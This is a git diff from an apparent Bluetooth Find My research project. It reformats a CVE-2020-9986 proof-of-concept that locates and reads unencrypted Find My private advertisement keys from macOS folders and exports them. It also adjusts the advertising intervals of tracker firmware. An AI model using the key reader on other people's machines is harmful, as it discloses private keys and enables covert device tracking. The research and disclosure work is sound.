+      devices.append(contentsOf: macOS10_15_3Devices)
+    } catch {
+      os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
+    }
+
+    do {
+      // Tries to discover the new location of the keys
+      let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
+      devices.append(contentsOf: macOS10_15_4Devices)
+    } catch {
+      os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
+    }
+
+    return devices
+  }
+
+  // MARK: - macOS 10.15.0 - 10.15.3
+
+  /// Reads the find my keys from the location used until macOS 10.15.3
+  /// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
+  /// - Returns: An array of find my devices including their keys
+  static func readFromOldLocation() throws -> [FindMyDevice] {
+    // Access the find my directory where the private advertisement keys are stored unencrypted
+    let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
+
+    let fm = FileManager.default
+    let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
+      .first?.appendingPathComponent(directoryPath)
+    let folders = try fm.contentsOfDirectory(
+      at: privateKeysPath!,
+      includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
+    guard folders.isEmpty == false else { throw FindMyError.noFoldersFound }
+
+    print("Found \(folders.count) folders")
+    var devices = [FindMyDevice]()
+
+    for folderURL in folders {
+      let keyFiles = try fm.contentsOfDirectory(
+        at: folderURL,
+        includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
+      // Check if keys are available
+      print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
+      guard keyFiles.isEmpty == false else { continue }
+      var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
+
+      for url in keyFiles {
         do {
-
-            // The key files have moved with macOS 10.15.4
-            let macOS10_15_3Devices = try self.readFromOldLocation()
-            devices.append(contentsOf: macOS10_15_3Devices)
+          if url.pathExtension == "keys" {
+            let keyPlist = try Data(contentsOf: url)
+            let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
+            device.keys.append(keyInfo)
+          }
         } catch {
-            os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
+          print("Could not load key file ", error)
         }
 
-        do {
-            // Tries to discover the new location of the keys
-            let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
-            devices.append(contentsOf: macOS10_15_4Devices)
-        } catch {
-            os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
-        }
+      }
 
-        return devices
+      devices.append(device)
     }
 
-    // MARK: - macOS 10.15.0 - 10.15.3
+    return devices
+  }
 
-    /// Reads the find my keys from the location used until macOS 10.15.3
-    /// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
-    /// - Returns: An array of find my devices including their keys
-    static func readFromOldLocation() throws -> [FindMyDevice] {
-        // Access the find my directory where the private advertisement keys are stored unencrypted
-        let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
-
-        let fm = FileManager.default
-        let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
-            .first?.appendingPathComponent(directoryPath)
-        let folders = try fm.contentsOfDirectory(at: privateKeysPath!,
-                                                 includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
-        guard folders.isEmpty == false else {throw FindMyError.noFoldersFound}
-
-        print("Found \(folders.count) folders")
-        var devices = [FindMyDevice]()
-
-        for folderURL in folders {
-            let keyFiles = try fm.contentsOfDirectory(at: folderURL,
-                                                      includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
-            // Check if keys are available
-            print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
-            guard keyFiles.isEmpty == false else {continue}
-            var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
-
-            for url in keyFiles {
-                do {
-                    if url.pathExtension == "keys" {
-                        let keyPlist = try Data(contentsOf: url)
-                        let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
-                        device.keys.append(keyInfo)
-                    }
-                } catch {
-                    print("Could not load key file ", error)
-                }
-
-            }
-
-            devices.append(device)
-        }
-
-        return devices
+  /// Parses the key plist file used until macOS 10.15.3
+  /// - Parameter keyFile: Propery list data
+  /// - Returns: Find My private Key
+  static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
+    guard
+      let keyDict = try PropertyListSerialization.propertyList(
+        from: keyFile,
+        options: .init(), format: nil) as? [String: Any],
+      let advertisedKey = keyDict["A"] as? Data,
+      let privateKey = keyDict["PR"] as? Data,
+      let timeValues = keyDict["D"] as? [Double],
+      let pu = keyDict["PU"] as? Data
+    else {
+      throw FindMyError.parsingFailed
     }
 
-    /// Parses the key plist file used until macOS 10.15.3
-    /// - Parameter keyFile: Propery list data
-    /// - Returns: Find My private Key
-    static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
-       guard let keyDict = try PropertyListSerialization.propertyList(from: keyFile,
-                                                                      options: .init(), format: nil) as? [String: Any],
-             let advertisedKey = keyDict["A"] as? Data,
-             let privateKey = keyDict["PR"] as?  Data,
-             let timeValues = keyDict["D"] as? [Double],
-             let pu = keyDict["PU"] as? Data
-       else {
-        throw FindMyError.parsingFailed
-       }
+    let hashedKeyDigest = SHA256.hash(data: advertisedKey)
+    let hashedKey = Data(hashedKeyDigest)
+    let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
+    let duration = timeValues[1]
 
-        let hashedKeyDigest = SHA256.hash(data: advertisedKey)
-        let hashedKey = Data(hashedKeyDigest)
-        let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
-        let duration = timeValues[1]
+    return FindMyKey(
+      advertisedKey: advertisedKey,
+      hashedKey: hashedKey,
+      privateKey: privateKey,
+      startTime: time,
+      duration: duration,
+      pu: pu,
+      yCoordinate: nil,
+      fullKey: nil)
+  }
 
-        return FindMyKey(advertisedKey: advertisedKey,
-                         hashedKey: hashedKey,
-                         privateKey: privateKey,
-                         startTime: time,
-                         duration: duration,
-                         pu: pu,
-                         yCoordinate: nil,
-                         fullKey: nil)
-    }
+  // MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
 
-    // MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
+  /// Find the randomized key folder which is used since macOS 10.15.4
+  /// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
+  static func findRamdomKeyFolder() -> [URL] {
+    os_log(.debug, "Searching for cached keys folder")
+    var folderURLs = [URL]()
+    let foldersPath = "/private/var/folders/"
+    let fm = FileManager.default
 
-    /// Find the randomized key folder which is used since macOS 10.15.4
-    /// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
-    static func findRamdomKeyFolder() -> [URL] {
-        os_log(.debug, "Searching for cached keys folder")
-        var folderURLs = [URL]()
-        let foldersPath = "/private/var/folders/"
-        let fm = FileManager.default
-
-        func recursiveSearch(from url: URL, urlArray: inout [URL]) {
-            do {
-                let randomSubfolders = try fm.contentsOfDirectory(at: url,
-                                                                  includingPropertiesForKeys: nil,
-                                                                  options: .includesDirectoriesPostOrder)
-
-                for folder in randomSubfolders {
-                    if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
-                        urlArray.append(folder.appendingPathComponent("Keys"))
-                        os_log(.debug, "Found folder at: %@", folder.path)
-                        break
-                    } else {
-                        recursiveSearch(from: folder, urlArray: &urlArray)
-                    }
-                }
-
-            } catch {
-
-            }
+    func recursiveSearch(from url: URL, urlArray: inout [URL]) {
+      do {
+        let randomSubfolders = try fm.contentsOfDirectory(
+          at: url,
+          includingPropertiesForKeys: nil,
+          options: .includesDirectoriesPostOrder)
 
+        for folder in randomSubfolders {
+          if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
+            urlArray.append(folder.appendingPathComponent("Keys"))
+            os_log(.debug, "Found folder at: %@", folder.path)
+            break
+          } else {
+            recursiveSearch(from: folder, urlArray: &urlArray)
+          }
         }
 
-        recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
+      } catch {
 
-        return folderURLs
+      }
 
     }
 
-    /// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
-    /// - Throws: An error if the key folder cannot be fould
-    /// - Returns: An array of devices including their keys
-    static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
-        let keysFolders = self.findRamdomKeyFolder()
-        guard keysFolders.isEmpty == false else {
-            throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
-        }
+    recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
 
-        var devices = [FindMyDevice]()
-        for folder in keysFolders {
-            if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
-                devices.append(contentsOf: deviceKeys)
-            }
-        }
+    return folderURLs
 
-        return devices
+  }
+
+  /// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
+  /// - Throws: An error if the key folder cannot be fould
+  /// - Returns: An array of devices including their keys
+  static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
+    let keysFolders = self.findRamdomKeyFolder()
+    guard keysFolders.isEmpty == false else {
+      throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
     }
 
-    /// Load the keys fils in the passed directory
-    /// - Parameter directory: Pass a directory url to a location with key files
-    /// - Throws: An error if the keys could not be found
-    /// - Returns: An array of devices including their keys
-    static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
-        os_log(.debug, "Loading key files from %@", directory.path)
-        let fm = FileManager.default
-        let subDirectories = try fm.contentsOfDirectory(at: directory,
-                                                        includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
+    var devices = [FindMyDevice]()
+    for folder in keysFolders {
+      if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
+        devices.append(contentsOf: deviceKeys)
+      }
+    }
 
-        var devices = [FindMyDevice]()
+    return devices
+  }
 
-        for deviceDirectory in subDirectories {
-            do {
-                var keyFiles = [Data]()
-                let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
-                let keyFileURLs = try fm.contentsOfDirectory(at: keyDirectory,
-                                                             includingPropertiesForKeys: nil,
-                                                             options: .skipsHiddenFiles)
-                for keyfileURL in keyFileURLs {
-                    // Read the key files
-                    let keyFile = try Data(contentsOf: keyfileURL)
-                    if keyFile.isEmpty == false {
-                        keyFiles.append(keyFile)
-                    }
-                }
+  /// Load the keys fils in the passed directory
+  /// - Parameter directory: Pass a directory url to a location with key files
+  /// - Throws: An error if the keys could not be found
+  /// - Returns: An array of devices including their keys
+  static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
+    os_log(.debug, "Loading key files from %@", directory.path)
+    let fm = FileManager.default
+    let subDirectories = try fm.contentsOfDirectory(
+      at: directory,
+      includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
 
-                // Decode keys for file
-                let decoder = FindMyKeyDecoder()
-                var decodedKeys = [FindMyKey]()
-                for file in keyFiles {
-                    do {
-                        let fmKeys = try decoder.parse(keyFile: file)
-                        decodedKeys.append(contentsOf: fmKeys)
-                    } catch {
-                        os_log(.error, "Decoding keys failed %@", error.localizedDescription)
-                    }
-                }
+    var devices = [FindMyDevice]()
 
-                let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
-                devices.append(device)
-            } catch {
-                os_log(.error, "Key directory not found %@", error.localizedDescription)
-            }
+    for deviceDirectory in subDirectories {
+      do {
+        var keyFiles = [Data]()
+        let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
+        let keyFileURLs = try fm.contentsOfDirectory(
+          at: keyDirectory,
+          includingPropertiesForKeys: nil,
+          options: .skipsHiddenFiles)
+        for keyfileURL in keyFileURLs {
+          // Read the key files
+          let keyFile = try Data(contentsOf: keyfileURL)
+          if keyFile.isEmpty == false {
+            keyFiles.append(keyFile)
+          }
         }
 
-        return devices
+        // Decode keys for file
+        let decoder = FindMyKeyDecoder()
+        var decodedKeys = [FindMyKey]()
+        for file in keyFiles {
+          do {
+            let fmKeys = try decoder.parse(keyFile: file)
+            decodedKeys.append(contentsOf: fmKeys)
+          } catch {
+            os_log(.error, "Decoding keys failed %@", error.localizedDescription)
+          }
+        }
+
+        let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
+        devices.append(device)
+      } catch {
+        os_log(.error, "Key directory not found %@", error.localizedDescription)
+      }
     }
 
+    return devices
+  }
+
 }

CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyModels.swift

@@ -7,38 +7,38 @@
 //  SPDX-License-Identifier: AGPL-3.0-only
 //
 
-import Foundation
 import Combine
 import CryptoKit
+import Foundation
 
 struct FindMyDevice: Codable {
-    let deviceId: String
-    var keys = [FindMyKey]()
+  let deviceId: String
+  var keys = [FindMyKey]()
 }
 
 struct FindMyKey: Codable {
-    /// The advertising key
-    let advertisedKey: Data
-    /// Hashed advertisement key using SHA256
-    let hashedKey: Data
-    /// The private key from which the advertisement keys can be derived
-    let privateKey: Data
-    /// When this key was used to send out BLE advertisements
-    let startTime: Date?
-    /// Duration from start time how long the key has been used to send out BLE advertisements
-    let duration: Double?
+  /// The advertising key
+  let advertisedKey: Data
+  /// Hashed advertisement key using SHA256
+  let hashedKey: Data
+  /// The private key from which the advertisement keys can be derived
+  let privateKey: Data
+  /// When this key was used to send out BLE advertisements
+  let startTime: Date?
+  /// Duration from start time how long the key has been used to send out BLE advertisements
+  let duration: Double?
 
-    // swiftlint:disable identifier_name
-    /// ?
-    let pu: Data?
+  // swiftlint:disable identifier_name
+  /// ?
+  let pu: Data?
 
-    /// As exported from Big Sur
-    let yCoordinate: Data?
-    /// As exported from BigSur
-    let fullKey: Data?
+  /// As exported from Big Sur
+  let yCoordinate: Data?
+  /// As exported from BigSur
+  let fullKey: Data?
 }
 
 enum FindMyError: Error {
-    case noFoldersFound
-    case parsingFailed
+  case noFoldersFound
+  case parsingFailed
 }

CVE-2020-9986/OFReadKeys/OFReadKeys/SavePanel.swift

@@ -7,40 +7,41 @@
 //  SPDX-License-Identifier: AGPL-3.0-only
 //
 
-import Foundation
 import AppKit
+import Foundation
 
 class SavePanel: NSObject, NSOpenSavePanelDelegate {
 
-    static let shared = SavePanel()
+  static let shared = SavePanel()
 
-    var fileToSave: Data?
-    var fileExtension: String?
-    var panel: NSSavePanel?
+  var fileToSave: Data?
+  var fileExtension: String?
+  var panel: NSSavePanel?
 
-    func saveFile(file: Data, fileExtension: String) {
-        self.fileToSave = file
-        self.fileExtension = fileExtension
+  func saveFile(file: Data, fileExtension: String) {
+    self.fileToSave = file
+    self.fileExtension = fileExtension
 
-        self.panel = NSSavePanel()
-        self.panel?.delegate = self
-        self.panel?.title = "Export Find My Keys"
-        self.panel?.prompt = "Export"
-        self.panel?.nameFieldLabel = "Offline Keys Plist"
-        self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
-        self.panel?.allowedFileTypes = ["plist"]
+    self.panel = NSSavePanel()
+    self.panel?.delegate = self
+    self.panel?.title = "Export Find My Keys"
+    self.panel?.prompt = "Export"
+    self.panel?.nameFieldLabel = "Offline Keys Plist"
+    self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
+    self.panel?.allowedFileTypes = ["plist"]
 
-        self.panel?.begin(completionHandler: { (response) in
-            if response == .OK {
-                // Save the file in a cache directory
-                let fileURL = self.panel?.url
-                try? self.fileToSave?.write(to: fileURL!)
-            }
-        })
+    self.panel?.begin(completionHandler: { (response) in
+      if response == .OK {
+        // Save the file in a cache directory
+        let fileURL = self.panel?.url
+        try? self.fileToSave?.write(to: fileURL!)
+      }
+    })
 
-    }
+  }
 
-    func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
-        return filename
-    }
+  func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
+  {
+    return filename
+  }
 }

Firmware/ESP32/.vscode/settings.json

@@ -0,0 +1,3 @@
+{
+    "idf.port": "/dev/cu.usbserial-0001"
+}

Firmware/ESP32/README.md

@@ -36,7 +36,7 @@ These files are required for the next step: Deploy the firmware.
 Use the `flash_esp32.sh` script to deploy the firmware and a public key to an ESP32 device connected to your local machine:
 
 ```bash
-./flash_esp32.sh -p /dev/yourSerialPort "public-key-in-base64"
+./flash_esp32.sh -p /dev/yourSerialPort "Base64-encoded advertisement key"
 ```
 
 > **Note:** You might need to reset your device after running the script before it starts sending advertisements.

Firmware/ESP32/flash_esp32.sh

@@ -1,5 +1,10 @@
 #!/bin/bash
 
+cleanup() {
+    echo "cleanup ..."
+    rm "$KEYFILE"
+}
+
 # Directory of this script
 SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
 
@@ -127,13 +132,13 @@ fi
 
 # Call esptool.py. Errors from here on are critical
 set -e
+trap cleanup INT TERM EXIT
 
 # Clear NVM
-esptool.py --after no_reset \
+esptool.py --after no_reset --port "$PORT" \
     erase_region 0x9000 0x5000
-esptool.py --before no_reset --baud $BAUDRATE \
+esptool.py --before no_reset --baud $BAUDRATE --port "$PORT" \
     write_flash 0x1000  "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
                 0x8000  "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
                 0xe000  "$KEYFILE" \
                 0x10000 "$SCRIPT_DIR/build/openhaystack.bin"
-rm "$KEYFILE"

Firmware/ESP32/main/openhaystack_main.c

@@ -43,12 +43,12 @@ static esp_ble_adv_params_t ble_adv_params = {
     // Minimum advertising interval for undirected and low duty cycle
     // directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
     // (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
-    .adv_int_min        = 0x00A0, // 100ms
+    .adv_int_min        = 0x0640, // 1s
     // Advertising max interval:
     // Maximum advertising interval for undirected and low duty cycle
     // directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
     // (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
-    .adv_int_max        = 0x0140, // 200ms
+    .adv_int_max        = 0x0C80, // 2s
     // Advertisement type
     .adv_type           = ADV_TYPE_NONCONN_IND,
     // Use the random address

Firmware/Linux_HCI/README.md

@@ -0,0 +1,19 @@
+# OpenHaystack HCI Script for Linux
+
+This script enables Linux devices to send out Bluetooth Low Energy advertisements such that they can be found by [Apple's Find My network](https://developer.apple.com/find-my/).
+
+## Disclaimer
+
+Note that the script is just a proof-of-concept and currently only implements advertising a single static key. This means that **devices running this script are trackable** by other devices in proximity.
+
+## Requirements
+
+The script requires a Linux machine with a Bluetooth Low Energy radio chip, a Python environment, and `hcitool` installed. We tested it on a Raspberry Pi running the official Raspberry Pi OS.
+
+## Usage
+
+Our Python script uses HCI calls to configure Bluetooth advertising. You can copy the required `ADVERTISMENT_KEY` from the app by right-clicking on your accessory and selecting _Copy advertisement key (Base64)_. Then run the script:
+
+```bash
+sudo python3 HCI.py --key <ADVERTISMENT_KEY>
+```

Firmware/Microbit_v1/Makefile

@@ -1,7 +1,7 @@
 PLATFORM := nRF51822
 NRF51_SDK_PATH := $(shell pwd)/nrf51_sdk_v4_4_2_33551
 NRF51_SDK_DOWNLOAD_URL := https://developer.nordicsemi.com/nRF5_SDK/nRF51_SDK_v4.x.x/nrf51_sdk_v4_4_2_33551.zip
-OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../OpenHaystack/OpenHaystack/HaystackApp/firmware.bin
+OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../../OpenHaystack/OpenHaystack/HaystackApp/Firmwares/Microbit/firmware.bin
 
 export PLATFORM
 export NRF51_SDK_PATH
@@ -10,7 +10,7 @@ ifeq ($(DEPLOY_PATH),)
 	DEPLOY_PATH := /Volumes/MICROBIT
 endif
 
-offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git
+offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git offline-finding/main.c
 	$(MAKE) -C blessed
 	$(MAKE) -C offline-finding
 

Firmware/Microbit_v1/offline-finding/main.c

@@ -15,7 +15,7 @@
 
 #include "ll.h"
 
-#define ADV_INTERVAL			LL_ADV_INTERVAL_MIN_NONCONN	/* 100 ms */
+#define ADV_INTERVAL			2000000	/* 2 s */
 
 /* don't make `const` so we can replace key in compiled binary image */
 static char public_key[28] = "OFFLINEFINDINGPUBLICKEYHERE!";

OpenHaystack/OpenHaystack.xcodeproj/project.pbxproj

@@ -51,6 +51,12 @@
 		78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */; };
 		78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
 		78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227625DBDB7E0042B775 /* KeychainController.swift */; };
+		78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */; };
+		F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */ = {isa = PBXBuildFile; fileRef = F126102E2600D1D80066A859 /* Slider+LogScale.swift */; };
+		F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */; };
+		F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */; };
+		F1647C1625FF6C61004144D6 /* BluetoothTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F1647C1525FF6C61004144D6 /* BluetoothTests.swift */; };
+		F1647C1B25FF7954004144D6 /* AccessoryNearbyMonitor.swift in Sources */ = {isa = PBXBuildFile; fileRef = F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */; };
 		F16BA9E925E7DB2D00238183 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = F16BA9E825E7DB2D00238183 /* NIOSSL */; };
 /* End PBXBuildFile section */
 
@@ -150,6 +156,12 @@
 		78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackMainView.swift; sourceTree = "<group>"; };
 		78EC227125DBC8CE0042B775 /* Accessory.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Accessory.swift; sourceTree = "<group>"; };
 		78EC227625DBDB7E0042B775 /* KeychainController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeychainController.swift; sourceTree = "<group>"; };
+		78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LargeButtonStyle.swift; sourceTree = "<group>"; };
+		F126102E2600D1D80066A859 /* Slider+LogScale.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Slider+LogScale.swift"; sourceTree = "<group>"; };
+		F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothAccessoryScanner.swift; sourceTree = "<group>"; };
+		F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Advertisement.swift; sourceTree = "<group>"; };
+		F1647C1525FF6C61004144D6 /* BluetoothTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothTests.swift; sourceTree = "<group>"; };
+		F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AccessoryNearbyMonitor.swift; sourceTree = "<group>"; };
 /* End PBXFileReference section */
 
 /* Begin PBXFrameworksBuildPhase section */
@@ -315,6 +327,7 @@
 				78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */,
 				78EC226525DAE0BE0042B775 /* Info.plist */,
 				78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */,
+				F1647C1525FF6C61004144D6 /* BluetoothTests.swift */,
 			);
 			path = OpenHaystackTests;
 			sourceTree = "<group>";
@@ -322,6 +335,7 @@
 		78EC226E25DBC2FC0042B775 /* HaystackApp */ = {
 			isa = PBXGroup;
 			children = (
+				F12D5A5E25FA79D600CBBA09 /* Bluetooth */,
 				78023CAC25F7775300B083EF /* Firmwares */,
 				78286D3A25E4017400F65511 /* Mail Plugin */,
 				78EC227025DBC8BB0042B775 /* Views */,
@@ -331,6 +345,7 @@
 				787D8AC025DECD3C00148766 /* AccessoryController.swift */,
 				78023CAA25F7767000B083EF /* ESP32Controller.swift */,
 				7821DAD025F7B2C10054DC33 /* FileManager.swift */,
+				F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */,
 			);
 			path = HaystackApp;
 			sourceTree = "<group>";
@@ -347,6 +362,7 @@
 		78EC227025DBC8BB0042B775 /* Views */ = {
 			isa = PBXGroup;
 			children = (
+				78F8BB4A261C50D500D9F37F /* Styles */,
 				78286D7625E5114600F65511 /* ActivityIndicator.swift */,
 				78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */,
 				78486BEE25DD711E0007ED87 /* PopUpAlertView.swift */,
@@ -356,10 +372,28 @@
 				7851F1DC25EE90FA0049480D /* AccessoryMapView.swift */,
 				7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */,
 				78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */,
+				F126102E2600D1D80066A859 /* Slider+LogScale.swift */,
 			);
 			path = Views;
 			sourceTree = "<group>";
 		};
+		78F8BB4A261C50D500D9F37F /* Styles */ = {
+			isa = PBXGroup;
+			children = (
+				78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */,
+			);
+			path = Styles;
+			sourceTree = "<group>";
+		};
+		F12D5A5E25FA79D600CBBA09 /* Bluetooth */ = {
+			isa = PBXGroup;
+			children = (
+				F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */,
+				F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */,
+			);
+			path = Bluetooth;
+			sourceTree = "<group>";
+		};
 /* End PBXGroup section */
 
 /* Begin PBXNativeTarget section */
@@ -518,7 +552,7 @@
 			);
 			runOnlyForDeploymentPostprocessing = 0;
 			shellPath = /bin/sh;
-			shellScript = "if command -v swift-format >/dev/null; then\n  swift-format lint -r \"$SRCROOT\"\nelse\n  echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
+			shellScript = "if command -v swift-format >/dev/null; then\n  swift-format format -i -r \"$SRCROOT\"; swift-format lint -r \"$SRCROOT\"\nelse\n  echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
 		};
 		F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */ = {
 			isa = PBXShellScriptBuildPhase;
@@ -575,6 +609,8 @@
 				78D9B80625F7CF60009B9CE8 /* ManageAccessoriesView.swift in Sources */,
 				78486BEF25DD711E0007ED87 /* PopUpAlertView.swift in Sources */,
 				78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */,
+				F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */,
+				F1647C1B25FF7954004144D6 /* AccessoryNearbyMonitor.swift in Sources */,
 				78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */,
 				781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */,
 				78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */,
@@ -587,10 +623,13 @@
 				781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */,
 				787D8AC125DECD3C00148766 /* AccessoryController.swift in Sources */,
 				78023CAB25F7767000B083EF /* ESP32Controller.swift in Sources */,
+				F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */,
 				781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */,
 				781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */,
+				78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */,
 				781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */,
 				781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */,
+				F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */,
 				78286D5625E401F000F65511 /* MailPluginManager.swift in Sources */,
 			);
 			runOnlyForDeploymentPostprocessing = 0;
@@ -609,6 +648,7 @@
 			buildActionMask = 2147483647;
 			files = (
 				78023CB125F7841F00B083EF /* MicrocontrollerTests.swift in Sources */,
+				F1647C1625FF6C61004144D6 /* BluetoothTests.swift in Sources */,
 				78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */,
 			);
 			runOnlyForDeploymentPostprocessing = 0;

OpenHaystack/OpenHaystack.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved

@@ -6,8 +6,8 @@
         "repositoryURL": "https://github.com/apple/swift-crypto.git",
         "state": {
           "branch": null,
-          "revision": "9b9d1868601a199334da5d14f4ab2d37d4f8d0c5",
-          "version": "1.0.2"
+          "revision": "3bea268b223651c4ab7b7b9ad62ef9b2d4143eb6",
+          "version": "1.1.6"
         }
       },
       {
@@ -15,8 +15,8 @@
         "repositoryURL": "https://github.com/apple/swift-nio.git",
         "state": {
           "branch": null,
-          "revision": "6d3ca7e54e06a69d0f2612c2ce8bb8b7319085a4",
-          "version": "2.26.0"
+          "revision": "6aa9347d9bc5bbfe6a84983aec955c17ffea96ef",
+          "version": "2.33.0"
